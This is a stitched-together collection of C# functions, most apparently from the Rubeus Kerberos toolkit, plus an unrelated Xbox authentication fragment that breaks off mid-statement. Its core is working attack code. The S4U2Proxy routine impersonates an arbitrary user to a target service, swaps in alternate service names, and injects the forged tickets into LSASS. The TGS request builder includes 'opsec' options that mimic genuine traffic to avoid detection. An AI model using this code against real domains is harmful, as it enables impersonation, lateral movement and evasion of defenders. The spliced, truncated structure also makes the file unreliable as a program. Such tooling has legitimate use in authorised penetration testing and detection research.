public AsnElt Encode() { // ad-type [0] Int32 AsnElt adTypeElt = AsnElt.MakeInteger((long)ad_type); AsnElt adTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adTypeElt }); adTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adTypeSeq); // ad-data [1] OCTET STRING if (ad_type == Interop.AuthorizationDataType.AD_IF_RELEVANT) { if (ad_data != null) { List <AsnElt> adList = new List <AsnElt>(); foreach (AuthorizationData ad in (List <AuthorizationData>)ad_data) { AsnElt addrElt = ad.Encode(); adList.Add(addrElt); } AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); AsnElt finalData = AsnElt.MakeBlob(seq.Encode()); AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { finalData }); seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, seq2); seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, seq2 }); seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq2); return(seq2); } else { return(null); } } else if (ad_type == Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS) { AsnElt adDataElt = AsnElt.MakeBlob(((KERB_AD_RESTRICTION_ENTRY)ad_data).Encode().Encode()); AsnElt adDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adDataElt }); adDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adDataSeq); AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, adDataSeq }); return(seq); } else if (ad_type == Interop.AuthorizationDataType.KERB_LOCAL) { AsnElt adDataElt = AsnElt.MakeBlob((byte[])ad_data); AsnElt adDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adDataElt }); adDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adDataSeq); AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, adDataSeq }); return(seq); } else { return(null); } }
public AsnElt Encode() { // pvno [0] INTEGER (5) AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); // msg-type [1] INTEGER (22) AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); // tickets [2] SEQUENCE OF Ticket // TODO: encode/handle multiple tickets! AsnElt ticketAsn = tickets[0].Encode(); AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2); // enc-part [3] EncryptedData -- EncKrbCredPart AsnElt enc_partAsn = enc_part.Encode(); AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode()); AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); // etype == 0 -> no encryption AsnElt etypeAsn = AsnElt.MakeInteger(0); AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq }); infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2); // all the components AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); // tag the final total ([APPLICATION 22]) AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); return(final); }
static byte[] ParseHexBytes() { /* * We accept to parse a sub-element instead of hex values, * to support nested values in OCTET STRING / BIT STRING. */ AsnElt s = BuildNext(); if (s != null) { return(s.Encode()); } MemoryStream ms = new MemoryStream(); int acc = 0; bool high = true; for (;;) { int c = PeekNextChar(); if (c < 0) { throw new IOException("truncated input"); } if (c == ')') { break; } LowRead(); int d = HexValue(c); if (d < 0) { if (IsWS(c) || c == ':') { continue; } throw new IOException("not an hexadecimal" + " character: " + (char)c); } if (high) { acc = d; } else { ms.WriteByte((byte)((acc << 4) + d)); } high = !high; } if (!high) { throw new IOException("lone hexdigit"); } return(ms.ToArray()); }
internal DNPart(string oid, AsnElt val) { OID_ = oid; AsnValue_ = val; encodedValue = val.Encode(); uint hc = (uint)oid.GetHashCode(); try { string s = val.GetString(); Value_ = s; s = s.ToUpperInvariant().ToLowerInvariant(); StringBuilder sb = new StringBuilder(); bool lwws = true; foreach (char c in s.Trim()) { if (IsControl(c)) { continue; } if (IsWS(c)) { if (lwws) { continue; } lwws = true; sb.Append(' '); } else { sb.Append(c); } } int n = sb.Length; if (n > 0 && sb[n - 1] == ' ') { sb.Length = n - 1; } normValue = sb.ToString(); hc += (uint)normValue.GetHashCode(); } catch { if (OID_TO_FT.ContainsKey(oid)) { throw; } Value_ = null; foreach (byte b in encodedValue) { hc = ((hc << 7) | (hc >> 25)) ^ (uint)b; } } hashCode = (int)hc; }
public static void Main(string[] args) { try { if (args.Length != 2) { Usage(); } string iname = args[0]; string oname = args[1]; if (iname == "-") { input = Console.In; } else { input = new StreamReader( File.OpenRead(iname), true); } Stream output; if (oname == "-") { output = Console.OpenStandardOutput(); } else { output = File.Create(oname); } for (;;) { AsnElt ae = BuildNext(); if (ae == null) { break; } byte[] enc = ae.Encode(); output.Write(enc, 0, enc.Length); } if (LowPeek() >= 0) { throw new IOException( "trailing garbage on input"); } output.Close(); } catch (Exception e) { Console.Error.WriteLine(e.ToString()); Environment.Exit(1); } }
public override AsnElt Encode() { // KERB-AD-RESTRICTION-ENTRY encoding // restriction-type [0] Int32 AsnElt adRestrictionEntryElt = AsnElt.MakeInteger(restriction_type); AsnElt adRestrictionEntrySeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryElt }); adRestrictionEntrySeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adRestrictionEntrySeq); // restriction [1] OCTET STRING AsnElt adRestrictionEntryDataElt = AsnElt.MakeBlob(restriction); AsnElt adRestrictionEntryDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adRestrictionEntryDataElt }); adRestrictionEntryDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adRestrictionEntryDataSeq); AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adRestrictionEntrySeq, adRestrictionEntryDataSeq }); AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); ad_data = seq2.Encode(); return(ADEncode()); }
public override AsnElt Encode() { // ad-data [1] OCTET STRING if (ADData.Count > 0) { List <AsnElt> adList = new List <AsnElt>(); foreach (AuthorizationData ad in ADData) { AsnElt addrElt = ad.Encode(); adList.Add(addrElt); } AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); ad_data = seq.Encode(); } else if (ad_data.Length < 1) { ad_data = new byte[0]; } return(ADEncode()); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public AsnElt Encode() { // pvno [0] INTEGER (5) AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); // msg-type [1] INTEGER (21) AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); // enc-part [3] EncryptedData -- EncKrbPrivPart AsnElt enc_partAsn = enc_part.Encode(); // etype AsnElt etypeAsn = AsnElt.MakeInteger((int)etype); AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); // now encrypt the enc_part (EncKrbPrivPart) // KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode()); AsnElt blob = AsnElt.MakeBlob(encBytes); AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq }); encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2); // all the components AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 }); // tag the final total ([APPLICATION 21]) AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final); return(final); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false, KRB_CRED tgs = null, string targetDomain = "", bool u2u = false) { TGS_REQ req; if (u2u) { req = new TGS_REQ(!u2u); } else { req = new TGS_REQ(!opsec); } if (!opsec && !u2u) { // set the username req.req_body.cname.name_string.Add(userName); } // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(targetDomain)) { if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt") && (tgs == null) && parts[0] != "kadmin") { if (parts[1].Split('.').Length > 2) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); // remove port when SPN is in format 'svc/domain.com:1234' string[] targetParts = targetDomain.Split(':'); if (targetParts.Length > 1) { targetDomain = targetParts[0]; } } if (String.IsNullOrEmpty(targetDomain)) { targetDomain = domain; } } else if (enterprise) { targetDomain = sname.Split('@')[1]; } else { targetDomain = domain; } } // the realm (domain) the user exists in req.req_body.realm = targetDomain.ToUpper(); // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } // real traffic have these etypes except when requesting a TGT, then only else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) { req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' if (u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_UNKNOWN; } else { req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; req.req_body.sname.name_string.Add(userName); } if (!opsec) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } if (opsec) { req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } } else if (u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.ENCTKTINSKEY | Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } if (tgs != null) { req.req_body.additional_tickets.Add(tgs.tickets[0]); if (!u2u) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION | Interop.KdcOptions.CANONICALIZE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; PA_DATA pac_options = new PA_DATA(false, false, false, true); req.padata.Add(pac_options); } } // needed for authenticator checksum byte[] cksum_Bytes = null; // opsec complete the request body before the creation of the AP-REQ if (opsec) { // set correct flags based on type of request req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; if (!unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; } if (unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; } // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) { ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); req.req_body.enc_authorization_data = new EncryptedData((Int32)paEType, enc_authorization_data); } // S4U requests have a till time of 15 minutes in the future if (!String.IsNullOrEmpty(s4uUser)) { DateTime till = DateTime.Now; till = till.AddMinutes(15); req.req_body.till = till; } // encode req_body for authenticator cksum AsnElt req_Body_ASN = req.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); req.padata.Add(padata); // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when // forming opsec requests as they require a checksum of the request body within the authenticator and the // PADATA-TGS-REQ should go before the other PA-DATA sections if (opsec && (!String.IsNullOrEmpty(s4uUser))) { // real packets seem to lowercase the domain in these 2 PA_DATA's domain = domain.ToLower(); // PA_S4U_X509_USER commented out until we get the checksum working PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce, paEType); req.padata.Add(s4upadata); } // add final S4U PA-DATA if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); req.padata.Add(s4upadata); } else if (opsec) { PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); } return(req.Encode().Encode()); }
public void BuildResponse() { // Possible suspects as to why the Xbox won't accept AS_REP // - cname/sname // - ticket // - enckdcpart // TODO: Find out what the MD4 hashed key is. AsnElt accountInfo = new PA_DATA().Encode203(1, Client.GamerTag, Client.Domain, Client.Realm, Encoding.UTF8.GetBytes(new char[16])); List <string> cnames = new List <string>() { Client.SerialNumber, Client.Realm }; List <AsnElt> allNodes = new List <AsnElt>(); // Header AsnElt pvnoASN = AsnElt.MakeInteger(5); AsnElt pvnoSEQ = AsnElt.Make(AsnElt.SEQUENCE, pvnoASN); pvnoSEQ = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSEQ); allNodes.Add(pvnoSEQ); AsnElt msg_typeASN = AsnElt.MakeInteger(11); AsnElt msg_typeSEQ = AsnElt.Make(AsnElt.SEQUENCE, msg_typeASN); msg_typeSEQ = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSEQ); allNodes.Add(msg_typeSEQ); // End // Machine Account Info PA_DATA EncryptedData encryptedAccount = new EncryptedData((int)Interop.KERB_ETYPE.rc4_hmac, 